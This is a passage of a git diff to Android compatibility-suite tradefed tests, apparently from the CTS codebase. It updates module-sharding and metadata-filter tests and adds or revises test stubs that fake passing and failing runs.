         Set<String> idSet = new HashSet<>();
         for (IModuleDef module : modules) {
             idSet.add(module.getId());
@@ -243,62 +395,377 @@
     }
 
     public void testSplit() throws Exception {
-        createConfig(mTestsDir, "sharder_1", null, SHARDABLE_TEST_STUB);
-        createConfig(mTestsDir, "sharder_2", null, SHARDABLE_TEST_STUB);
-        createConfig(mTestsDir, "sharder_3", null, SHARDABLE_TEST_STUB);
+        createConfig(mTestsDir, "sharded_1", null, SHARDABLE_TEST_STUB);
+        createConfig(mTestsDir, "sharded_2", null, SHARDABLE_TEST_STUB);
+        createConfig(mTestsDir, "sharded_3", null, SHARDABLE_TEST_STUB);
         Set<IAbi> abis = new HashSet<>();
         abis.add(new Abi(ABI_64, "64"));
         ArrayList<String> emptyList = new ArrayList<>();
 
-        mRepo.initialize(3, mTestsDir, abis, DEVICE_TOKENS, emptyList, emptyList, INCLUDES,
-                         EXCLUDES, mBuild);
+        mRepo.initialize(3, 0, mTestsDir, abis, DEVICE_TOKENS, emptyList, emptyList, INCLUDES,
+                         EXCLUDES, METADATA_INCLUDES, METADATA_EXCLUDES, mMockBuildInfo);
 
         List<IModuleDef> modules = new ArrayList<>();
-        modules.addAll(mRepo.getLargeModules());
-        modules.addAll(mRepo.getMediumModules());
-        modules.addAll(mRepo.getSmallModules());
+        modules.addAll(mRepo.getNonTokenModules());
         modules.addAll(mRepo.getTokenModules());
 
         int shardableCount = 0;
         for (IModuleDef def : modules) {
             IRemoteTest test = def.getTest();
-            if (test instanceof IShardableTest) {
-                assertNotNull("Build not set", ((ShardableTestStub)test).mBuildInfo);
+            if (test instanceof IStrictShardableTest) {
                 shardableCount++;
             }
         }
-        assertEquals("Shards wrong", 3*3, shardableCount);
+        assertEquals("Shards wrong", 9, shardableCount);
     }
 
     public void testGetModuleIds() {
-        mRepo.initialize(3, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS, INCLUDES,
-                EXCLUDES, mBuild);
+        mRepo.initialize(3, null, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS, INCLUDES,
+                EXCLUDES, METADATA_INCLUDES, METADATA_EXCLUDES, mMockBuildInfo);
         assertTrue("Should be initialized", mRepo.isInitialized());
 
         assertArrayEquals(EXPECTED_MODULE_IDS, mRepo.getModuleIds());
     }
 
-    public void testIsPrepared() {
-        mRepo.initialize(3, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS, INCLUDES,
-                EXCLUDES, mBuild);
-        assertTrue("Should be initialized", mRepo.isInitialized());
-        mRepo.setPrepared(true);
-        mRepo.setPrepared(true);
-        mRepo.setPrepared(true); // each shard should call setPrepared() once
-        assertTrue(mRepo.isPrepared(0, TimeUnit.MINUTES));
-    }
-
-    public void testIsNotPrepared() {
-        mRepo.initialize(3, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS, INCLUDES,
-                EXCLUDES, mBuild);
-        assertTrue("Should be initialized", mRepo.isInitialized());
-        mRepo.setPrepared(true);
-        mRepo.setPrepared(false); // mRepo should return false for setPrepared() after third call
-        mRepo.setPrepared(true);
-        assertFalse(mRepo.isPrepared(0, TimeUnit.MINUTES));
-    }
-
     private void assertArrayEquals(Object[] expected, Object[] actual) {
         assertEquals(Arrays.asList(expected), Arrays.asList(actual));
     }
+
+    /**
+     * Test class to provide runtimeHint.
+     */
+    private class TestRuntime implements IRemoteTest, IRuntimeHintProvider, IAbiReceiver,
+            ITestCollector, ITestFilterReceiver {
+        public long runtimeHint = 0l;
+        @Override
+        public long getRuntimeHint() {
+            return runtimeHint;
+        }
+        // ignore all the other calls
+        @Override
+        public void run(ITestInvocationListener arg0) throws DeviceNotAvailableException {}
+        @Override
+        public void addAllExcludeFilters(Set<String> arg0) {}
+        @Override
+        public void addAllIncludeFilters(Set<String> arg0) {}
+        @Override
+        public void addExcludeFilter(String arg0) {}
+        @Override
+        public void addIncludeFilter(String arg0) {}
+        @Override
+        public void setCollectTestsOnly(boolean arg0) {}
+        @Override
+        public void setAbi(IAbi arg0) {}
+        @Override
+        public IAbi getAbi() {return null;}
+    }
+
+    /**
+     * Balance the load of runtime of the modules for the same runtimehint everywhere.
+     */
+    public void testGetshard_allSameRuntime() throws Exception {
+        List<IModuleDef> testList = new ArrayList<>();
+        TestRuntime test1 = new TestRuntime();
+        test1.runtimeHint = 100l;
+        IModuleDef mod1 = new ModuleDef("test1", new Abi("arm", "32"), test1,
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
+        testList.add(mod1);
+        TestRuntime test2 = new TestRuntime();
+        test2.runtimeHint = 100l;
+        IModuleDef mod2 = new ModuleDef("test2", new Abi("arm", "32"), test2,
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
+        testList.add(mod2);
+        TestRuntime test3 = new TestRuntime();
+        test3.runtimeHint = 100l;
+        IModuleDef mod3 = new ModuleDef("test3", new Abi("arm", "32"), test3,
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
+        testList.add(mod3);
+        TestRuntime test4 = new TestRuntime();
+        test4.runtimeHint = 100l;
+        IModuleDef mod4 = new ModuleDef("test4", new Abi("arm", "32"), test4,
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
+        testList.add(mod4);
+        // if we don't shard everything is in one shard.
+        List<IModuleDef> res = mRepo.getShard(testList, 0, 1);
+        assertEquals(4, res.size());
+        res = mRepo.getShard(testList, 0, 2);
+        assertEquals(2, res.size());
+        assertEquals(mod1, res.get(0));
+        assertEquals(mod2, res.get(1));
+        res = mRepo.getShard(testList, 1, 2);
+        assertEquals(2, res.size());
+        assertEquals(mod3, res.get(0));
+        assertEquals(mod4, res.get(1));
+    }
+
+    /**
+     * When reaching splitting time, we need to ensure that even after best effort, if we cannot
+     * split into the requested number of shardIndex, we simply return null to report an empty
+     * shard.
+     */
+    public void testGetShard_cannotSplitMore() {
+        List<IModuleDef> testList = new ArrayList<>();
+        TestRuntime test1 = new TestRuntime();
+        test1.runtimeHint = 100l;
+        IModuleDef mod1 = new ModuleDef("test1", new Abi("arm", "32"), test1,
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
+        testList.add(mod1);
+        List<IModuleDef> res = mRepo.getShard(testList, 1, 2);
+        assertNull(res);
+    }
+
+    /**
+     * When there are no metadata based filters specified, config should be included
+     * @throws Exception
+     */
+    public void testMetadataFilter_emptyFilters() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        assertTrue("config not included when metadata filters are empty",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When inclusion filter is specified, config matching the filter is included
+     * @throws Exception
+     */
+    public void testMetadataFilter_matchInclude() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo");
+        assertTrue("config not included with matching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When inclusion filter is specified, config not matching the filter is excluded
+     * @throws Exception
+     */
+    public void testMetadataFilter_noMatchInclude_mismatchValue() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "bar");
+        assertFalse("config not excluded with mismatching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When inclusion filter is specified, config not matching the filter is excluded
+     * @throws Exception
+     */
+    public void testMetadataFilter_noMatchInclude_mismatchKey() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("group", "bar");
+        assertFalse("config not excluded with mismatching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When exclusion filter is specified, config matching the filter is excluded
+     * @throws Exception
+     */
+    public void testMetadataFilter_matchExclude() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("component", "foo");
+        assertFalse("config not excluded with matching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When exclusion filter is specified, config not matching the filter is included
+     * @throws Exception
+     */
+    public void testMetadataFilter_noMatchExclude_mismatchKey() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("component", "bar");
+        assertTrue("config not included with mismatching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When exclusion filter is specified, config not matching the filter is included
+     * @throws Exception
+     */
+    public void testMetadataFilter_noMatchExclude_mismatchValue() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("group", "bar");
+        assertTrue("config not included with mismatching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When inclusion filter is specified, config with one of the metadata field matching the filter
+     * is included
+     * @throws Exception
+     */
+    public void testMetadataFilter_matchInclude_multipleMetadataField() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        metadata.put("component", "bar");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo");
+        assertTrue("config not included with matching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When exclusion filter is specified, config with one of the metadata field matching the filter
+     * is excluded
+     * @throws Exception
+     */
+    public void testMetadataFilter_matchExclude_multipleMetadataField() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        metadata.put("component", "bar");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("component", "foo");
+        assertFalse("config not excluded with matching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When inclusion filters are specified, config with metadata field matching one of the filter
+     * is included
+     * @throws Exception
+     */
+    public void testMetadataFilter_matchInclude_multipleFilters() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo");
+        includeFilter.put("component", "bar");
+        assertTrue("config not included with matching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When exclusion filters are specified, config with metadata field matching one of the filter
+     * is excluded
+     * @throws Exception
+     */
+    public void testMetadataFilter_matchExclude_multipleFilters() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("component", "foo");
+        excludeFilter.put("component", "bar");
+        assertFalse("config not excluded with matching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When inclusion filters are specified, config with metadata field matching one of the filter
+     * is included
+     * @throws Exception
+     */
+    public void testMetadataFilter_matchInclude_multipleMetadataAndFilters() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo1");
+        metadata.put("group", "bar1");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo1");
+        includeFilter.put("group", "bar2");
+        assertTrue("config not included with matching inclusion filter",
+                mRepo.filterByConfigMetadata(config, includeFilter, METADATA_EXCLUDES));
+    }
+
+    /**
+     * When exclusion filters are specified, config with metadata field matching one of the filter
+     * is excluded
+     * @throws Exception
+     */
+    public void testMetadataFilter_matchExclude_multipleMetadataAndFilters() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo1");
+        metadata.put("group", "bar1");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("component", "foo1");
+        excludeFilter.put("group", "bar2");
+        assertFalse("config not excluded with matching exclusion filter",
+                mRepo.filterByConfigMetadata(config, METADATA_INCLUDES, excludeFilter));
+    }
+
+    /**
+     * When inclusion and exclusion filters are both specified, config can pass through the filters
+     * as expected.
+     * @throws Exception
+     */
+    public void testMetadataFilter_includeAndExclude() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        metadata.put("group", "bar1");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo");
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("group", "bar2");
+        assertTrue("config not included with matching inclusion and mismatching exclusion filters",
+                mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
+    }
+
+    /**
+     * When inclusion and exclusion filters are both specified, config be excluded as specified
+     * @throws Exception
+     */
+    public void testMetadataFilter_includeThenExclude() throws Exception {
+        IConfiguration config = new Configuration("foo", "bar");
+        ConfigurationDescriptor desc = config.getConfigurationDescription();
+        MultiMap<String, String> metadata = new MultiMap<>();
+        metadata.put("component", "foo");
+        metadata.put("group", "bar");
+        desc.setMetaData(metadata);
+        MultiMap<String, String> includeFilter = new MultiMap<>();
+        includeFilter.put("component", "foo");
+        MultiMap<String, String> excludeFilter = new MultiMap<>();
+        excludeFilter.put("group", "bar");
+        assertFalse("config not excluded with matching inclusion and exclusion filters",
+                mRepo.filterByConfigMetadata(config, includeFilter, excludeFilter));
+    }
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ShardableTestStub.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ShardableTestStub.java
index f638da8..7b43972 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ShardableTestStub.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ShardableTestStub.java
@@ -25,18 +25,17 @@
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.IRuntimeHintProvider;
 import com.android.tradefed.testtype.IShardableTest;
+import com.android.tradefed.testtype.IStrictShardableTest;
 import com.android.tradefed.testtype.ITestCollector;
 import com.android.tradefed.testtype.ITestFilterReceiver;
 
-import junit.framework.Assert;
-
 import java.util.ArrayList;
 import java.util.Collection;
-import java.util.List;
 import java.util.Set;
 
 public class ShardableTestStub implements IRemoteTest, IShardableTest, IBuildReceiver,
-        IAbiReceiver, IRuntimeHintProvider, ITestCollector, ITestFilterReceiver {
+        IAbiReceiver, IRuntimeHintProvider, ITestCollector, ITestFilterReceiver,
+        IStrictShardableTest {
 
     @Option(name = "module")
     String mModule;
@@ -58,7 +57,7 @@
     }
 
     /**
-     * {@inheritdoc}
+     * {@inheritDoc}
      */
     @Override
     public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
@@ -70,8 +69,6 @@
      */
     @Override
     public Collection<IRemoteTest> split() {
-        Assert.assertNotNull(mBuildInfo);
-
         mShards = new ArrayList<>();
         for (int i = 0; i < 3; i++) {
             mShards.add(new ShardableTestStub());
@@ -79,12 +76,25 @@
         return mShards;
     }
 
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public IRemoteTest getTestShard(int shardCount, int shardIndex) {
+        return new ShardableTestStub();
+    }
+
     @Override
     public void setAbi(IAbi abi) {
         // Do nothing
     }
 
     @Override
+    public IAbi getAbi() {
+        return null;
+    }
+
+    @Override
     public long getRuntimeHint() {
         return 1L;
     }
@@ -113,5 +123,4 @@
     public void addAllExcludeFilters(Set<String> filters) {
 
     }
-
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SimpleTestStub.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SimpleTestStub.java
new file mode 100644
index 0000000..331f978
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SimpleTestStub.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype;
+
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.IRuntimeHintProvider;
+import com.android.tradefed.testtype.ITestCollector;
+import com.android.tradefed.testtype.ITestFilterReceiver;
+
+import java.util.Collections;
+import java.util.Set;
+
+/**
+ * A test Stub that can be used to fake some runs.
+ */
+public class SimpleTestStub implements IRemoteTest, IAbiReceiver, IRuntimeHintProvider,
+        ITestCollector, ITestFilterReceiver {
+
+    // options below are unused
+    @Option(name = "report-test")
+    protected boolean mReportTest = false;
+    @Option(name = "run-complete")
+    protected boolean mIsComplete = true;
+    @Option(name = "test-fail")
+    protected boolean mDoesOneTestFail = true;
+    @Option(name = "internal-retry")
+    protected boolean mRetry = false;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+        // We report 1 passing tes
+        listener.testRunStarted("module-run", 1);
+        TestIdentifier tid = new TestIdentifier("TestStub", "test1");
+        listener.testStarted(tid);
+        listener.testEnded(tid, Collections.emptyMap());
+        listener.testRunEnded(0, Collections.emptyMap());
+    }
+
+    @Override
+    public void setAbi(IAbi abi) {
+        // Do nothing
+    }
+
+    @Override
+    public long getRuntimeHint() {
+        return 1L;
+    }
+
+    @Override
+    public void setCollectTestsOnly(boolean shouldCollectTest) {
+        // Do nothing
+    }
+
+    @Override
+    public void addIncludeFilter(String filter) {
+
+    }
+
+    @Override
+    public void addAllIncludeFilters(Set<String> filters) {
+
+    }
+
+    @Override
+    public void addExcludeFilter(String filter) {
+
+    }
+
+    @Override
+    public void addAllExcludeFilters(Set<String> filters) {
+
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SubPlanTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SubPlanTest.java
index f6ec507..75b5df6 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SubPlanTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/SubPlanTest.java
@@ -25,12 +25,14 @@
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.FileWriter;
-import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.HashSet;
 import java.util.Set;
 
+/**
+ * Tests for {@link SubPlan}
+ */
 public class SubPlanTest extends TestCase {
 
     private static final String ABI = "armeabi-v7a";
@@ -64,34 +66,41 @@
 
         // Serialize to file
         File subPlanFile = FileUtil.createTempFile("test-subPlan-serialization", ".txt");
-        OutputStream subPlanOutputStream = new FileOutputStream(subPlanFile);
-        subPlan.serialize(subPlanOutputStream);
-        subPlanOutputStream.close();
-
-        // Parse subPlan and assert correctness
-        checkSubPlan(subPlanFile);
-
+        try {
+            OutputStream subPlanOutputStream = new FileOutputStream(subPlanFile);
+            subPlan.serialize(subPlanOutputStream);
+            subPlanOutputStream.close();
+            // Parse subPlan and assert correctness
+            checkSubPlan(subPlanFile);
+        } finally {
+            FileUtil.deleteFile(subPlanFile);
+        }
     }
 
     public void testParsing() throws Exception {
-        File subPlanFile = FileUtil.createTempFile("test-subPlan-parsing", ".txt");
-        FileWriter writer = new FileWriter(subPlanFile);
-        Set<String> entries = new HashSet<String>();
-        entries.add(generateEntryXml(ABI, MODULE_A, TEST_1, true)); // include format 1
-        entries.add(generateEntryXml(ABI, MODULE_A, TEST_2, true));
-        entries.add(generateEntryXml(null, null,
-                new TestFilter(ABI, MODULE_A, TEST_3).toString(), true)); // include format 2
-        entries.add(generateEntryXml(null, MODULE_B, null, true));
-        entries.add(generateEntryXml(null, null,
-                new TestFilter(null, MODULE_B, TEST_1).toString(), false));
-        entries.add(generateEntryXml(null, null,
-                new TestFilter(null, MODULE_B, TEST_2).toString(), false));
-        entries.add(generateEntryXml(null, null,
-                new TestFilter(null, MODULE_B, TEST_3).toString(), false));
-        String xml = String.format(XML_BASE, String.join("\n", entries));
-        writer.write(xml);
-        writer.flush();
-        checkSubPlan(subPlanFile);
+        File planFile = FileUtil.createTempFile("test-plan-parsing", ".txt");
+        FileWriter writer = new FileWriter(planFile);
+        try {
+            Set<String> entries = new HashSet<String>();
+            entries.add(generateEntryXml(ABI, MODULE_A, TEST_1, true)); // include format 1
+            entries.add(generateEntryXml(ABI, MODULE_A, TEST_2, true));
+            entries.add(generateEntryXml(null, null,
+                    new TestFilter(ABI, MODULE_A, TEST_3).toString(), true)); // include format 2
+            entries.add(generateEntryXml(null, MODULE_B, null, true));
+            entries.add(generateEntryXml(null, null,
+                    new TestFilter(null, MODULE_B, TEST_1).toString(), false));
+            entries.add(generateEntryXml(null, null,
+                    new TestFilter(null, MODULE_B, TEST_2).toString(), false));
+            entries.add(generateEntryXml(null, null,
+                    new TestFilter(null, MODULE_B, TEST_3).toString(), false));
+            String xml = String.format(XML_BASE, String.join("\n", entries));
+            writer.write(xml);
+            writer.flush();
+            checkSubPlan(planFile);
+        } finally {
+            writer.close();
+            FileUtil.deleteFile(planFile);
+        }
     }
 
     private void checkSubPlan(File subPlanFile) throws Exception {
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/TestStub.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/TestStub.java
index 729fda2..a154f31 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/TestStub.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/TestStub.java
@@ -15,37 +15,115 @@
  */
 package com.android.compatibility.common.tradefed.testtype;
 
+import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.IRuntimeHintProvider;
-import com.android.tradefed.testtype.IShardableTest;
 import com.android.tradefed.testtype.ITestCollector;
 import com.android.tradefed.testtype.ITestFilterReceiver;
 
+import java.util.Collections;
 import java.util.List;
 import java.util.Set;
 
+/**
+ * A test Stub that can be used to fake some runs.
+ */
 public class TestStub implements IRemoteTest, IAbiReceiver, IRuntimeHintProvider, ITestCollector,
         ITestFilterReceiver {
 
     @Option(name = "module")
-    String mModule;
+    private String mModule;
     @Option(name = "foo")
-    String mFoo;
+    protected String mFoo;
     @Option(name = "blah")
-    String mBlah;
+    protected String mBlah;
+    @Option(name = "report-test")
+    protected boolean mReportTest = false;
+    @Option(name = "run-complete")
+    protected boolean mIsComplete = true;
+    @Option(name = "test-fail")
+    protected boolean mDoesOneTestFail = true;
+    @Option(name = "internal-retry")
+    protected boolean mRetry = false;
+
+    protected List<TestIdentifier> mShardedTestToRun;
+    protected Integer mShardIndex = null;
+
+    /**
+     * Tests attempt.
+     */
+    private void testAttempt(ITestInvocationListener listener) {
+     // We report 3 tests: 2 pass, 1 failed
+        listener.testRunStarted("module-run", 3);
+        TestIdentifier tid = new TestIdentifier("TestStub", "test1");
+        listener.testStarted(tid);
+        listener.testEnded(tid, Collections.emptyMap());
+
+        if (mIsComplete) {
+            // possibly skip this one to create some not_executed case.
+            TestIdentifier tid2 = new TestIdentifier("TestStub", "test2");
+            listener.testStarted(tid2);
+            listener.testEnded(tid2, Collections.emptyMap());
+        }
+
+        TestIdentifier tid3 = new TestIdentifier("TestStub", "test3");
+        listener.testStarted(tid3);
+        if (mDoesOneTestFail) {
+            listener.testFailed(tid3, "ouch this is bad.");
+        }
+        listener.testEnded(tid3, Collections.emptyMap());
+
+        listener.testRunEnded(0, Collections.emptyMap());
+    }
 
     /**
      * {@inheritDoc}
      */
     @Override
     public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        // Do nothing
+        if (mReportTest) {
+            if (mShardedTestToRun == null) {
+                if (!mRetry) {
+                    testAttempt(listener);
+                } else {
+                    // We fake an internal retry by calling testRunStart/Ended again.
+                    listener.testRunStarted("module-run", 3);
+                    listener.testRunEnded(0, Collections.emptyMap());
+                    testAttempt(listener);
+                }
+            } else {
+                // Run the shard
+                if (mDoesOneTestFail) {
+                    listener.testRunStarted("module-run", mShardedTestToRun.size() + 1);
+                } else {
+                    listener.testRunStarted("module-run", mShardedTestToRun.size());
+                }
+
+                if (mIsComplete) {
+                    for (TestIdentifier tid : mShardedTestToRun) {
+                        listener.testStarted(tid);
+                        listener.testEnded(tid, Collections.emptyMap());
+                    }
+                } else {
+                    TestIdentifier tid = mShardedTestToRun.get(0);
+                    listener.testStarted(tid);
+                    listener.testEnded(tid, Collections.emptyMap());
+                }
+
+                if (mDoesOneTestFail) {
+                    TestIdentifier tid = new TestIdentifier("TestStub", "failed" + mShardIndex);
+                    listener.testStarted(tid);
+                    listener.testFailed(tid, "shard failed this one.");
+                    listener.testEnded(tid, Collections.emptyMap());
+                }
+                listener.testRunEnded(0, Collections.emptyMap());
+            }
+        }
     }
 
     @Override
@@ -54,6 +132,11 @@
     }
 
     @Override
+    public IAbi getAbi() {
+        return null;
+    }
+
+    @Override
     public long getRuntimeHint() {
         return 1L;
     }
@@ -82,5 +165,4 @@
     public void addAllExcludeFilters(Set<String> filters) {
 
     }
-
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/TestStubShardable.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/TestStubShardable.java
new file mode 100644
index 0000000..2789b82
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/TestStubShardable.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype;
+
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.config.OptionCopier;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.IStrictShardableTest;
+
+import java.util.ArrayList;
+
+/**
+ * A test Stub that can be used to fake some runs.
+ */
+public class TestStubShardable extends TestStub implements IStrictShardableTest {
+
+    @Override
+    public IRemoteTest getTestShard(int shardCount, int shardIndex) {
